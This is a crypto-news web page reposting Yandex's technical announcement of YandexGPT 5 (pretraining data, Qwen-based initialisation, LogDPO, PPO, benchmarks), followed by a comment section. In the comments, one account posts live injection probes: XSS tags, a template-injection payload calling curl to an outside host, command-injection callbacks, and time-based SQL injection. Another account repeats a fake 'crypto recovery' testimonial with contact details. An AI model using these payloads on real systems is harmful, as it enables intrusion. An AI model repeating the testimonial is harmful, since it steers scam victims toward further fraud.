Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Встречаем YandexGPT 5 — в Алисе и опенсорсе

Привет, меня зовут Андрей Бут, я представляю команду разработки YandexGPT. Сегодня мы анонсируем новое поколение наших больших языковых моделей — YandexGPT 5.

Старшая модель — YandexGPT 5 Pro — уже применяется в чате с Алисой, а также доступна в Yandex Cloud через API. Кроме того, в чате с Алисой впервые можно переключиться на базовую версию модели, которая не использует внешнюю информацию из Поиска и не дообучалась «быть» виртуальным ассистентом.

Pretrain-версия младшей модели — YandexGPT 5 Lite Pretrain — опубликована в свободном доступе и будет полезна разработчикам, которые дообучают базовые версии моделей под свои задачи. Дообученная нами на её основе instruct-версия в ближайшее время станет доступна через API.

Под катом — более подробно о том, как мы обучали наши модели и какой опыт накопили.

YandexGPT 5 Lite 8B Pretrain

Сегодня мы рады поделиться с сообществом pretrain-версией модели YandexGPT 5 Lite на 8B параметров с длиной контекста 32k токенов. Она уже опубликована на Hugging Face.

Претрейн модели проходил в два этапа. На первом этапе модель обучалась преимущественно на русскоязычных и англоязычных текстах общим объёмом 15T токенов. На втором этапе, который мы назвали Powerup, модель обучалась на высококачественных данных объёмом 320B токенов. Более подробно о них поговорим ниже.

В своей категории модель достигает паритета с мировыми SOTA по ряду ключевых бенчмарков для pretrain-моделей, а по многим другим — превосходит их:

* — по данным репорта разработчиков модели. BBH — 3-shot, HUMAN_EVAL и MPBB — 0-shot, все остальные бенчмарки — 5-shot.

Чуть подробнее о наших бенчмарках

(ya)MMLU — это автоперевод MMLU на русский язык с дополнительной корректурой и исправлением ошибок переводчиками.

(ya)MMLU_PRO — автоперевод MMLU_PRO на русский язык.

(ya)RuFacts — на основе фактового среза поисковых запросов отобрали подходящие (нетривиальные, но достоверные и не меняющиеся во времени) запросы, с помощью AI-тренеров написали эталонные ответы, а также тесты и вопросы с коротким ответом.

(ya)RuWikiFacts — на популярных страницах Википедии выбирали содержательные абзацы, к ним генерировали вопросы с помощью GPT-4o и AI-тренерами, после чего уже решали и валидировали AI-тренерами.

(ya)RuCulture — с помощью AI-тренеров собрали 2 тыс. вопросов (тестов и с коротким ответом) по русским фильмам, литературе, пословицам, сленгу и т. д., стратифицировано по темам, стратифицировано по «возрасту». Подробнее.

(ya)GSM8K|RU — автоперевод GSM8K на русский язык.

(ya)DROP|RU — автоперевод DROP на русский язык.

(ya)Closed-QA (Bookworm) — взяли большие, но малоизвестные художественные тексты на русском, через GPT-4o сгенерировали вопросы и варианты ответа к определённому абзацу, при замере подаём больше текста, добавляя исходный текст до и после абзаца.

(ya)Extract from recipes 32k — собрали базу рецептов на русском, через GPT-4o задали вопросы про КБЖУ (калории, белки, жиры, углеводы), время приготовления и т. д.

(ya)SchoolMath 5–9 — на основе контрольных работ к школьным учебникам за 5–9 классы создавались новые задачи, чтобы ответы на них не содержались в свободном доступе в интернете.

(ya)SchoolMath 10–11 — аналогично предыдущему, но для 10–11 классов.

Первый этап обучения

Один из ключевых компонентов при создании LLM — данные для обучения. В нашем корпусе около 30% токенов приходится на русскоязычные тексты. Бо́льшая часть оставшихся — английские. Структура нашего датасета может показаться вам знакомой: ≈60% — веб-документы, 15% — код, 10% — математика, остальное — специфичные данные, про которые расскажем ниже.

Исторически для отбора документов в претрейне мы используем признаки, которые полезны для ранжирования поисковой выдачи. Например, вероятность принадлежности к спаму и популярность страниц.

Недавно мы пересмотрели наш подход к сбору данных: так как наши классификаторы имеют несовершенства и отбрасывают часть полезных данных. Мы постарались убрать слишком грубые фильтрации и тем самым существенно повысили полноту знаний и, соответственно, размер датасета до 15T токенов. Так мы увеличили долю отбираемых английских веб-данных. Например, в одном из основных компонентов нашего датасета доля английского увеличилась с 14 до 30%.

Для отбора данных мы используем как классические эвристики, такие как Repetition NGrams (привет из 2021-го), так и классификаторы качества документов, обучаемые на человеческой или LLM-разметке. В предыдущих версиях наших моделей мы использовали классификаторы для фильтрации документов. В этой версии мы обучили набор моделей для оценки различных критериев документа. Примеры: насколько документ образовательный; содержит ли документ математические рассуждения и т. д. Сейчас мы используем набор правил по классификаторам для дополнительного отбора полезных документов.

Выше мы говорили про некоторые специфичные данные. Здесь хочется выделить два ключевых внедрения.

Во-первых, мы постепенно разрабатываем собственный пайплайн синтетики: на основе проверенных источников мы с помощью YandexGPT 4 генерируем вопросы — как открытые, так и с вариантами ответа — и добавляем их в претрейн. Похожими пайплайнами пользуются, например, в Phi-4.

Во-вторых, активно используем внутренние наработки. Так, в поиске Яндекса давно используется база Fact Snippet для построения быстрого ответа пользователю. Такие данные мы тоже докладываем в претрейн. Ещё один пример — новый корпус данных Переводчика.

В качестве эксперимента мы внедрили переписывание части веб-документов. Упрощённо эту работу можно объяснить так: пишем промпт в YandexGPT 4 с пожеланием переписать веб-документ, удалив всё ненужное со страницы.

Такой подход позволил ещё немного увеличить эффективность обучения, так как он помогает избавиться от лишнего шума в данных и добавить больше полезных текстов в тот же объём токенов.

Математика
Для сбора математических данных мы пользуемся подходом, похожим на предложенный в DeepSeekMath. Для первоначальной разметки на «математичность» используется модель из семейства YandexGPT 4. Далее мы дообучаем поверх результатов разметки небольшую (180M) LM и размечаем ей бо́льшую часть имеющихся у нас документов, после чего дополняем потенциально полезными источниками обучающую выборку.

Такой подход широко распространён (Qwen-2.5-Math, FineMath), но мы улучшаем его за счёт использования кастомного парсера, сохраняющего структуру математических документов, например, извлекающего формулы из MathJax и удаляющего нерелевантный контент.

Кастомный парсинг применяется также для PDF-части корпуса: мы пользуемся собственным пайплайном OCR для тех PDF, где извлечение текста затруднительно, например, для математических и научных документов, которые изобилуют формулами.

Код
Для сбора корпуса кодовых веб-данных используется тот же подход, что и для математики. Другой вопрос — как оценивать качество кода, а не текстовых документов? На этапе претрейна мы пользуемся эвристиками, похожими на предложенные в работе OpenCoder. Пример такой эвристики — доля pass, assert, import в файле на языке Python.

Что интересно — мы попробовали проверить гипотезу, что код помогает обычным knowledge-бенчмаркам. На экспериментальной модели получился следующий эффект от замены 15/30% датасета с вырезанным из него кодом на starcoder:

	0% code	15% code	30% code
MMLU	39.7	35.3	27.4
PIQA	77.7	76.3	75.2
BoolQ	67.5	67.0	58.6
CultCat	30.4	25.4	23.9
HumanEval	4.8	9.9	13.3

Эффект падения обычных бенчмарков на проверку знаний рассуждений изучался в работе To Code, or Not To Code, где обнаружили, что оптимальная доля кода выше нуля — так как растёт навык в рассуждениях (например, в статье используется PIQA и не только). Это не до конца согласуется с нашим экспериментом: когда мы почистили код, падение стало меньше, но именно роста мы не обнаружили. Конечно, тут может играть роль и то, что используемые датасеты — как базовый, так и кода — отличаются от статьи. В любом случае собрать такой датасет с кодом, который будет растить качество не только кода, — наше стремление и одно из направлений будущей работы.

Второй этап обучения — Powerup

После обучения базового претрейна мы проводим Powerup — дообучение на данных более высокого качества. Состав Powerup-датасета: 25% — веб-страницы, 19% — математика, 18% — код, 18% — образовательные данные, остальное — аугментации фактовых документов, вдохновлённые физикой моделей, другая синтетика, датасеты сервисов и прочие качественные тексты. В качестве регуляризации мы сохраняем 40% распределения исходного датасета, чтобы побороть катастрофическое забывание.

На этом же этапе мы проводим расширение контекста до 32k токенов с помощью NTK-aware scaling с добавлением 5% дополнительных длинных (длина контекста > 8k) документов.

Powerup хорошо растит метрики базовой модели:

Бенчмарк	Прирост
MMLU	+2
MMLU_PRO	+1.5
GSM8K	+3
MATH	+7.6
HumanEval	+10.4
MBPP	+6.0
QUALITY	+4.1

YandexGPT 5 Pro

Наш обычный пайплайн обучения выглядит примерно так: Pretrain из нескольких шагов и Alignment (SFT, RL разными способами). Чтобы обучить новую версию модели, которая работает существенно лучше, чем старая, требуется пройти через множество проб и неудач. И каждый такой эксперимент с большой, многомиллиардной моделью может длиться по несколько недель. Это очень много времени и ресурсов. Поэтому мы стали думать, как нам сократить подбор оптимальной конфигурации и сэкономить ресурсы. Нашли сразу несколько решений: как на уровне Pretrain, так и на уровне Alignment.

Что изменили в Pretrain

Модели никогда не обучаются с нуля. Даже если вы инициализируете обучение на случайных весах, у вас уйдёт множество циклов экспериментов и проб на то, чтобы подобрать оптимальную конфигурацию и — наконец-то! — обучить модель, которую вы сможете встроить в свой продукт или показать миру. Каждая новая попытка опирается на результаты длинного хвоста всех предыдущих опытов. И у нас, и в других компаниях уходят месяцы попыток на каждый значимый скачок в качестве. Неудивительно, что вся индустрия ищет возможности для ускорения этого процесса и экономии затрачиваемых ресурсов. Регулярно появляются новые методы оптимизации, предлагаются те или иные лайфхаки, внедряются новые алгоритмы, например YaFSDP.

В области опенсорсных LLM всё развивается не менее стремительно. Мы регулярно тестируем их, сравниваем с нашими решениями. Раньше при сравнении наших и опенсорс-моделей сопоставимого размера мы были в паритете или проигрывали на англоязычных бенчмарках, но на русскоязычных SbS-сравнениях на потоке реальных пользовательских задач мы преимущественно побеждали. И это логично: модели лучше раскрываются на тех же языках, знаниях и задачах, которые приоритетны в процессе обучения. И даже дообучение (SFT) опенсорсной модели на своих данных не меняет ситуацию в корне. А ещё у изначально английской (или китайской) модели будет неоптимальный словарь токенов для русского языка, а значит, она может требовать значительно больше вычислительных ресурсов при одной и той же длине контекста в сравнении с базовой русскоязычной моделью. Ещё спецэффекты чужих instruct-версий могут стрелять в ответах на ваши задачи совершенно непредсказуемым образом. И главное — для качественного понимания русского языка и локальных особенностей короткого SFT-дообучения просто мало. Требуется полноценное длительное обучение на большом корпусе качественных русскоязычных данных.

Но что, если использовать опенсорс иначе? Что, если взять обычный, полный цикл обучения модели, который включает в себя многоэтапные Pretrain, SFT, RL и в котором мы уже накопили большой опыт, а затем добавить к нему ещё одну составляющую — веса общедоступной модели? Так мы и сделали: инициализировали наш пайплайн обучения не случайными весами, а весами модели Qwen-2.5-32B-base (именно base, потому что instruct-версия показала результаты хуже).

Чем больше токенов нашего претрейна мы использовали в обучении, тем выше были результаты модели в бенчмарках. Особенно — на знание русского языка, культуры и т. д. Более подробно о том, как мы измеряем знание культурного кода, уже писали в отдельной статье.

Чуть выше мы уже говорили о важности словаря токенов. Наглядное подтверждение этого: для русскоязычных текстов 32k токенов контекста YandexGPT 5 Pro соответствуют 48k токенов модели Qwen-2.5-32B-base.

Совмещение весов из общедоступной модели и нашего обычного полного цикла обучения позволило нам сократить длительность экспериментов до 20 раз и сэкономить ресурсы на подбор оптимальных параметров. На создание YandexGPT 5 Pro по-прежнему ушли месяцы работы, но за это время нам удалось проверить существенно больше гипотез и датасетов. И что самое приятное: накопленный нами опыт применим и для классического обучения без использования весов открытых моделей.

Что изменили в Alignment

Для начала вспомним, зачем нужен Alignment. Представьте, что у вас есть отличный драгоценный камень. Но основная ценность у него появляется только после огранки. Вот и с Alignment такой же принцип. Независимо от того, сколько у вашего претрейна параметров и токенов для обучения, вы должны «выравнивать» ответы модели в соответствии с ожиданиями людей.

Процесс Alignment включает в себя несколько стадий. На первой стадии, которая называется SFT (Supervised Fine-Tuning), модель обучается на парах «запрос — ответ». На следующей стадии RLHF модель обучается выдавать более качественные ответы на запросы, изучая предпочтения пользователей с помощью набора преференс-пар, в которых один ответ может быть лучше другого.

Подробнее об этом мы уже писали в одной из предыдущих статей, поэтому здесь сконцентрируемся на улучшениях, которые добавили в новое поколение модели.

Мы выбрали наиболее сложные задачи для нашей модели прошлого поколения и сконцентрировались на их улучшении на этапе SFT. Если попробовать суммаризировать, что вызывает наибольшие проблемы, то можно выделить такие классы:

Много заданий в одном запросе.
Длинный вход, короткий ответ. Модели для генерации адекватного ответа просто не хватает токенов.
Сложные требования к формату ответа.

Пример сложного запроса

Интересное наблюдение: не все данные, даже хорошего качества, одинаково полезны. Поэтому мы использовали несколько подходов, чтобы фильтровать и ранжировать данные.

Первая идея вдохновлена статьёй Instruction Following Difficulty, суть которой проста:

Источник: https://arxiv.org/html/2308.12032v5

Рассмотрим лосс:

$S_{\theta}(A|Q) = L_{\theta}(A|Q) = -\frac{1}{N}\sum_{i=1}^{N} \log P(w^A_i | Q, w^A_1, w^A_2, ..., w^A_{i-1}; \theta)$

Фактически мы оцениваем способность модели генерировать подходящие ответы на основе предоставленных инструкций. Отдельно можно рассмотреть сложность следования инструкции:

$s_{\theta}(A) = -\frac{1}{N}\sum_{i=1}^{N} \log P(w^A_i | w^A_1, ..., w^A_{i-1}; \theta)$

Отношение этих метрик и предлагается использовать для оценки сложности следования инструкциям:

$\text{IFD}_{\theta}(Q, A) = \frac{s_{\theta}(A|Q)}{s_{\theta}(A)}$

Полученный скор/оценку мы использовали для фильтрации данных.

Вторая идея — про специальное тегирование данных. Несмотря на то что мы старались использовать качественные данные, по определённым признакам они всё ещё могут иметь проблемы (вред, ложь, полезность ответа и т. д.). При этом наши эксперименты показали, что убирать их из обучения строго хуже, поэтому для таких данных мы ввели отдельный тег, чтобы «подсветить» модели возможные проблемы при обучении на них (на этапе инференса этот тег не нужен). Такой подход дал рост в качестве по SbS-оценке.

В контексте обучения с подкреплением не утихает холивар о том, что эффективнее: онлайн RL или офлайн. Мы стараемся использовать лучшее из двух миров и комбинируем разные подходы к RL, что позволяет растить качество.

После публикации статьи про DPO многие разработчики и компании решили пересесть именно на него, потому что он прост в использовании и не так требователен к гиперпараметрам, как PPO. Однако с DPO не всё так гладко.

Посмотрим на графики.

На наших данных DPO-модель стала «разучиваться» генерировать и хорошие, и плохие примеры из датасета. Дело в том, что не все пары оказались одинаково полезны. Что занятно — в зависимости от количества дублей в вашем датасете вы можете получить абсолютно разный результат. Например, полные дубли лучше фильтровать, а вот частичные стоит оставлять. Когда у вас один и тот же инстракт и разные ответы, это даже полезно.

Ещё надо упомянуть регуляризацию. В свежих работах можно найти всё больше указаний на то, что DPO обучается нестабильно, и наша практика это подтверждает. А вот если добавить NLL loss, то обучение станет более робастным.

Мы пошли дальше и сделали свою модификацию DPO, которую назвали LogDPO. Перед тем как выписать новый лосс, давайте сначала поймём, откуда в DPO берётся проблема «разучивания». Вообще существует несколько механизмов, из-за которых может происходить «разучивание», и ещё больше гипотез, как именно лосс DPO их активирует. Мы ограничимся лишь тем наблюдением, что каждый раз в этой проблеме виновата часть лосса DPO, отвечающая за вероятность менее предпочтительного ответа в ранжированной паре.

$\mathcal{L}_{\text{DPO}}(\pi_{\theta}; \pi_{\text{ref}}) = -\mathbb{E}_{(x, y_w, y_l) \sim \mathcal{D}} \left[ \log \sigma \left( \beta \log \frac{\pi_{\theta}(y_w \mid x)}{\pi_{\text{ref}}(y_w \mid x)} - \beta \log \frac{\pi_{\theta}(y_l \mid x)}{\pi_{\text{ref}}(y_l \mid x)} \right) \right]$

Связано это с тем, что снизить $L_{\text{DPO}}$ за счет поднятия $\pi_{\theta}(y_w \mid x)$ можно лишь на некоторую константу из-за ограниченности $\pi_{\theta}(y_w \mid x) \leq 1$ , а вот за счет снижения $\pi_{\theta}(y_l \mid x)$ можно достичь глобального минимума даже без каких либо изменений $\pi_{\theta}(y_w \mid x)$ .

Решить эту проблему можно многими способами, мы избрали следующий:

$\mathcal{L}_{\log \text{DPO}}(\pi_{\theta}; \pi_{\text{ref}}) = -\mathbb{E}_{(x, y_w, y_l) \sim \mathcal{D}}\left[\log \sigma \left(\boldsymbol\exp \left(\beta \log \left(\frac{\pi_{\theta}(y_w \mid x)}{\pi_{\text{ref}}(y_w \mid x)}\right)\right) \\ - \boldsymbol\exp \left(\beta \log \left(\frac{\pi_{\theta}(y_l \mid x)}{\pi_{\text{ref}}(y_l \mid x)}\right)\right)\right)\right]$

Тут мы добавляем экспоненту в лосс DPO для того, чтобы за счёт уменьшения одной лишь вероятности менее предпочтительного ответа нельзя было достигнуть оптимума.

Само же название LogDPO происходит из того, что по аналогии с оригинальной статьёй можно показать, что после обучения модели таким образом она будет оптимальна относительно логарифма реворда, совпадающего с точностью до константы с истинным, при помощи которого был собран датасет предпочтений.

На самом деле вместо экспоненты можно использовать любую монотонную функцию с затухающим градиентом на $-\infty$ (для ограничения влияния «разучивания» менее предпочтительного ответа). Наши эксперименты, однако, показывают, что именно экспонента даёт лучший результат (хотя, скажем, версия с softplus вместо экспоненты имеет намного меньшую дисперсию градиентов).

Last but not least — онлайн RL. Мы очень долго поднимали у себя PPO для YandexGPT, но все наши мучения были вознаграждены. Во время наших попыток мы выявили ряд интересных нюансов.

Использование advantage normalization очень важно.
Потокенный KL-штраф за отклонение от SFT-модели. Важно: во многих работах используется оценка Монте-Карло по одному токену, а мы выбрали именно честно посчитанный KL, и результаты получились куда лучше.
Добавлять KL-штраф за отклонение от SFT-модели не к награде, а прямиком к лоссу. Этот трюк был предложен в GRPO, это упрощает оптимизацию, даёт рост качества.
Использование более одной эпохи PPO. При обучении модели можно для уже сгенерированных текстов сделать не один шаг градиентного спуска, а два. Это тоже хорошо скажется на качестве обучения.
Всё чаще советуют использовать большой батч. Есть одна тонкость. Мы заметили, что иногда полезнее не увеличивать число разных запросов в батче, а вместо этого генерировать несколько разных ответов на один промпт (4–8 показывают себя хорошо).
Много эпох. PPO хорошо раскрывается, когда видел датасет много раз — награда растёт и на валидации, и на обучении, классического переобучения мы не наблюдаем практически никогда. Важно лишь остановиться до того, как произойдёт классический гудхартинг — когда высокая награда за ответы перестанет коррелировать с высокой оценкой асессоров. Обучение на 6–8 эпох показывает неплохие результаты.

Бенчмарки и SbS

По результатам внутреннего слепого попарного сравнения (side-by-side) для широкого потока запросов YandexGPT 5 Pro превосходит YandexGPT 4 Pro в 67% случаев и не уступает GPT-4o.

С большинством типовых задач и выполнением стандартизированных тестов (бенчмарков) YandexGPT 5 Pro справляется на уровне аналогичных по мощности моделей — лидеров рынка, а в некоторых категориях превосходит их.

* — по данным репорта разработико.
MMLU — 5-shot, LiveCodeBench – 1-shot, все остальные бенчмарки — 0-shot.

Ещё немного о наших бенчмарках

(ya)Crowd v2 — бенчмарк, построенный на задачах краудсорсной разметки данных; оценивает, насколько модель может заменить краудсор разметчиков.

IFEvalRU — на основе IFEval создали свой расширенный бенчмарк, добавили в него новые классы задач, которые встречаются в задачах B2B-пользователей.

Кому интересно почитать про особенности метрик и бенчмарки, то рекомендуем статью.

Несколько слов о том, почему в этом списке отсутствует LLM Arena. Пользователи Арены — это разработчики, энтузиасты в ИИ и технические специалисты. Их запросы сильно смещены по тематике в сторону IT, кода, задач на логику и житейских вопросов. Среди всех запросов доминирует формат «вопрос — ответ» на оценку знаний модели. Да ещё и сами оценки тоже могут быть смещены в сторону более длинных, форматированных текстов. В результате оценка по рейтингу Арены является не самым лучшим способом предсказывать, насколько модель будет полезна в рамках задач бизнес-пользователей. Так, например, если модель используется для автоматизации работы службы поддержки, то нужно тестировать её на способность написать корректный ответ на основе информации из базы знаний саппорта. Причём сделать его таким, чтобы он проходил по критериям качества службы контроля поддержки. В рамках подобных, ориентированных на практическое применение задач качество ответа модели оценивается не просто по тому, насколько он нравится человеку, а по тому, насколько корректно он решил поставленную задачу. Чуть подробнее мы уже рассказывали об этом в отдельной статье.

Как попробовать YandexGPT 5 Pro

Традиционно наша новая мощная модель доступна пользователям Yandex Cloud через API. Также её можно использовать для создания ассистентов с RAG через AI Assistant API или во few-shot классификаторе.

Кроме того, впервые в чате с Алисой появился выбор модели. Можно общаться как с моделью, которая дообучена «быть» Алисой и умеет обращаться в Поиск за информацией, так и с исходной моделью YandexGPT 5 Pro. Этот выбор уже доступен на alice.yandex.ru с опцией Про и скоро появится в приложении «Алиса».

Мы будем продолжать добавлять в чат с Алисой новые модели, чтобы пользователи могли их протестировать. В ближайшее время в чате появится ещё одна языковая модель нового семейства, попробовать которую можно будет в чистом виде, без возможностей ассистента.

Заключение

Сегодня мы впервые за три года опубликовали нашу модель в свободном доступе. На сегодняшний день YandexGPT 5 Lite 8B Pretrain в ряде ключевых для нас англоязычных и русскоязычных бенчмарков опережает сопоставимые base-версии моделей Llama и Qwen. Наша модель будет полезна тем разработчикам, у которых есть потребность в дообучении небольшой, изначально русскоязычной модели под свои задачи.

Наша мощная модель нового поколения — YandexGPT 5 Pro — уже используется в чате с Алисой и доступна для внедрения через API в Yandex Cloud. Существенный буст в качестве её ответов обусловлен большим количеством изменений в процессе обучения: например, мы пересобрали датасет для претрейна, добавили веса опенсорс-модели, предложили свою модификацию метода DPO — LogDPO — для преодоления проблемы «разучивания» и перепробовали множество других оптимизаций в течение нескольких месяцев активной разработки.

На этой конфигурации мы не остановимся. Наша цель — как можно быстрее и экономичнее создавать всё более полезные решения для наших пользователей и партнёров. Поэтому мы продолжаем экспериментировать с добавлением в «котёл» обучения наших моделей разнообразных компонентов, в том числе опенсорсных, будем пробовать и другие методы, идеи и хаки. В том числе — в направлении «рассуждающих» моделей. При этом мы, конечно же, будем и дальше делиться опытом со всем сообществом.

Источник

Теги

Категория

Новости

Дата

25 февр. 2025 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

